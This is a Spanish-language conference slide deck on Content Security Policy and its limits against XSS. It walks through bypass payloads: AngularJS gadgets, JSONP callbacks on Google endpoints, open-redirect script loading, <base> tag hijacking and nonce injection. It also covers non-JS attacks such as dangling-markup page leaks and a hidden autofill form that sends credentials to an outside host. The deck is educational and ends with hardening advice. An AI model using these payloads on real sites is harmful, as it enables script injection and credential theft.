Antes de empezar...

Scroll view
Si estás en un dispositivo móvil.
Fragment view
Tal como se ve en la presentación.
Speaker mode
Para ver las notas del presentador.
Print mode
Exportar a PDF.
Search
Busca en la presentación (Ctrl + Shift + F).
Shortcuts

Navega usando

Content Security Policy

¿El fin de XSS?

Santos Gallegos - [email protected]
@stsewd

NO

Si la política es lo suficientemente restrictiva, será difícil, pero no siempre imposible llevar a cabo un ataque XSS.

Inyectar HTML sin ejecutar JS puede tener impacto en la seguridad de la página, y es algo que CSP no siempre puede prevenir.

$ WHOAMI

"Experto" en CSP y XSS

Mi experiencia con CSP

  • Había escuchado sobre CSP
  • En el trabajo me tocó iniciar la implementación de CSP
  • Bug bounty: XSS en una web con CSP usando nonces. No pude ejecutar JS, pero pude demostrar impacto
  • Bug bounty: XSS en una web con CSP, muy restrictiva pero sin nonces. Pude hacer un bypass y ejecutar JS
  • Esta charla

¿Qué es CSP?

Content-Security-Policy

Es una capa de seguridad adicional que ayuda a detectar y mitigar ciertos tipos de ataques, incluyendo Cross Site Scripting (XSS) y ataques de inyección de datos.

https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

¿Cómo funciona CSP?

Mediante el header Content-Security-Policy que el servidor envía en la respuesta HTTP, este header contiene una serie de reglas que le indican al navegador qué recursos puede cargar y ejecutar en la página web.

Sintaxis

Content-Security-Policy: <directive> <value>; <directive>

Sintaxis


          Content-Security-Policy:
            default-src 'self' example.com *.example.com;
            upgrade-insecure-requests;
        

Directivas

  • Fetch directives: qué recursos se pueden cargar (scripts, imágenes, etc)
  • Document directives: aspectos de un documento (HTML)
  • Navigation directives: orígenes a los que un usuario puede navegar o enviar formularios
  • Reporting directives: a dónde se envían los reportes de violaciones de CSP

Valores

Valores: keywords

  • 'none' - nada está permitido
  • 'self' - sólo recursos del mismo origen están permitidos
  • 'unsafe-inline' - código inline está permitido, CSS o JS

Valores: hosts

  • example.com - host específico
  • *.example.com - wildcard
  • https://example.com - protocolo específico
  • https://example.com/path/to/file - path específico
  • https://example.com/path/to/dir/ - directorio
  • https: - protocolo

Valores: nonce y hashes

  • 'nonce-{random-value}' - nonce
  • 'sha{algorithm}-{hash}' - hash

Ejemplos:

  • 'nonce-8IBTHwOdqNKAWeKl7plt8g=='
  • 'sha256-opnq3UrQLt34nD/Io3x4OQXex7rVCcRNO2/Dym9R8ro='

Directivas más comunes

  • default-src
  • script-src
  • style-src
  • img-src
  • connect-src

Previniendo ataques XSS

  • Lista de hosts, protocolos, y paths permitidos
  • Nonce y hashes

Previniendo ataques XSS

No usar JavaScript

Content-Security-Policy: script-src 'none'

CSP en acción

Una triste historia

Tenemos una web que lleva varios años en producción, sin un mantenimiento constante, y con un montón de código JavaScript inline.

Cuálquier parecido con la realidad es pura coincidencia.

La política (im)perfecta


          Content-Security-Policy:
            script-src
              'self'
              'unsafe-inline'
              'unsafe-eval'
              https://www.google.com
              https://*.gstatic.com
              https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js;
        

La política (im)perfecta

https://csp-evaluator.withgoogle.com/

El atacante

Inline JS


          <script>
            alert(document.domain)
          </script>
        

Ejemplo

Inline JS


          Content-Security-Policy:
            script-src
              'self'
              'unsafe-eval'
              https://www.google.com
              https://*.gstatic.com
              https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js;
        

Ejemplo

AngularJS


          <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script>

          <div ng-app>
            <input ng-focus="$event.composedPath()|orderBy:'alert(document.domain)'" value="Click me!">
          </div>
        

Ejemplo

AngularJS JQuery


          Content-Security-Policy:
            script-src
              'self'
              https://www.google.com
              https://*.gstatic.com
              https://cdn.jsdelivr.net/npm/[email protected]/dist/jquery.min.js;
        

Ejemplo

JSON-P

JSON with padding, is a historical JavaScript technique for requesting data by loading a <script> element. JSON-P enables sharing of data bypassing same-origin policy.

https://en.wikipedia.org/wiki/JSONP

CORS

Access-Control-Allow-Origin: *

https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS

JSON-P

https://example.com/users/1234?callback=parseResponse

parseResponse({"Name": "Clem", "Id": 1234, "Rank": 7});

https://example.com/users/1234?callback=alert(document.domain)//

alert(document.domain)//({"Name": "Clem", "Id": 1234, "Rank": 7});

JSON-P


          <script
              src="https://www.google.com/complete/search?jsonp=alert(document.domain)//&client=chrome">
          </script>
        

https://github.com/zigoo0/JSONBee

Ejemplo

Recomendación de Google

https://developers.google.com/recaptcha/docs/faq

JSON-P


          Content-Security-Policy:
            script-src
              'self'
              https://www.google.com/recaptcha/
              https://www.gstatic.com/recaptcha/
              https://cdn.jsdelivr.net/npm/[email protected]/dist/jquery.min.js;
        

Ejemplo

Open redirect

https://example.com/login/?next=https://evil.example.com

Ejemplo

CSP: Paths y redirecciones

To avoid leaking path information cross-origin, the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect.

https://www.w3.org/TR/CSP3/#source-list-paths-and-redirects

https://homakov.blogspot.de/2014/01/using-content-security-policy-for-evil.html

Open redirect


          <script
            src="/_/redirect/?https://cdn.jsdelivr.net/gh/stsewd/charla-csp-xss@main/js/test.js">
          </script>
        

Ejemplo

¡Open redirect arreglado!

¡Y sin más CDN públicos!


          Content-Security-Policy:
            script-src
              'self'
              https://www.google.com/recaptcha/
              https://www.gstatic.com/recaptcha/
              https://static.example.com/js/[email protected]/dist/jquery.min.js;
        

Ejemplo

¡AngularJS está de vuelta!


          <script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

          <div ng-app>
            <input ng-focus="$event.composedPath()|orderBy:'alert(document.domain)'" value="Click me!">
          </div>
        

Ejemplo

Recomendación de Google

https://developers.google.com/recaptcha/docs/faq

Conclusión

Usar una lista de hosts permitidos no es suficiente para prevenir ataques XSS.

Nonce y hashes


          Content-Security-Policy:
            script-src
              'nonce-8IBTHwOdqNKAWeKl7plt8g=='
              'sha256-opnq3UrQLt34nD/Io3x4OQXex7rVCcRNO2/Dym9R8ro=';
        

Ejemplo 1
Ejemplo 2

Ahora si estamos a salvo!

El tag <base>

The HTML <base> element specifies the base URL to use for all relative URLs contained within a document.

https://devdoc.net/web/developer.mozilla.org/en-US/docs/Web/HTML/Element/base.html

El tag <base>


          <base href="https://evil.example.com/">
        

Ejemplo 1
Ejemplo 2

Punto de inyección dentro de <script>


          <script nonce="abc">
            {INJECTION}
          </script>
        

Punto de inyección entre nonce y src


          <script nonce="abc" {INJECTION} src="good.js"></script>
        

          <script nonce="abc" src="https://example.com/evil.js">
          </script>" src="good.js"></script>
        

Re-uso de contenido de hashes

Si la política permite scripts que coinciden con un hash, el atacante también puede hacer uso de esos scripts.


          Content-Security-Policy:
            script-src
              'sha256-lZiRtFqX8+/xK+BIpUJiYLvM8k3Hmw2Lb+Efx61lknA=';
        

            <script>deleteAccount()</script>
        

Malas implementaciones de nonce

  • Nonce estático o predecible
  • Nonce semi-dinámico (no cambia en cada request)
  • Inyectar el nonce automáticamente en cada script

Otras maneras de generar impacto sin ejecutar JS

  • Manipulación del contenido
  • Redirecciones
  • Exfiltración de información

Redirecciones

  • Redireccionamiento a un sitio malicioso
  • Prevenir acceso al sitio

          <meta http-equiv="refresh" content="0; url=https://example.com/" />
        

Ejemplo

Filtración de URL via referer

Cuando se carga un recurso de un sitio, el navegador envía el header Referer con la URL del sitio que hizo la petición. La URL puede contener información sensible (OAuth tokens).


          <img src="https://example.com/" referrerpolicy="unsafe-url">
        

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy

Ejemplo

Filtración del contenido de la página

El atacante puede inyectar un recurso entre comillas sin cerrar, el navegador interpretará el contenido de la página como parte del recurso, hasta que encuentre el cierre de las comillas.


          <img src='https://example.com/
        

Ejemplo 1
Ejemplo 2

Filtración de credenciales

Un atacante puede inyectar un formulario oculto en la página. El gestor de contraseñas puede llenarlo automáticamente. Si el usuario envía el formulario, el atacante recibirá las credenciales.

Filtración de credenciales


          <form action="https://example.com/">
            <input name="email" style="opacity:0;width:0">
            <input type="password" name="password" style="opacity:0;width:0">
            <input type="submit" value="Click me!">
          </form>
        

Ejemplo

Una buena política

Principio de privilegio mínimo

https://en.wikipedia.org/wiki/Principle_of_least_privilege

Empieza con una política restrictiva


          Content-Security-Policy:
            default-src 'none';
            base-uri 'none';
            form-action 'none';
            frame-ancestors 'none';
        

Usa un nonce para scripts


          Content-Security-Policy:
            default-src 'none';
            script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g==';
            base-uri 'none';
            form-action 'none';
            frame-ancestors 'none';
        

Una buena política

  • Usa una lista muy específica de hosts y paths permitidos
  • Nunca uses 'unsafe-inline' y evita usar 'unsafe-eval'
  • Evita usar librerías que permiten ejecutar código JS fuera de tu control
  • En lo posible crea reglas para las páginas que las requieran, no todo el sitio

Conclusión

CSP es una capa de seguridad adicional, no una solución mágica para prevenir todo tipo de ataques.

Evadir políticas CSP es una nueva habilidad que debemos aprender y también otras maneras creativas de explotación sin ejecutar JavaScript.

CSP es una capa de seguridad adicional, no una solución mágica

Aprende, entiende, y comparte

Referencias y recursos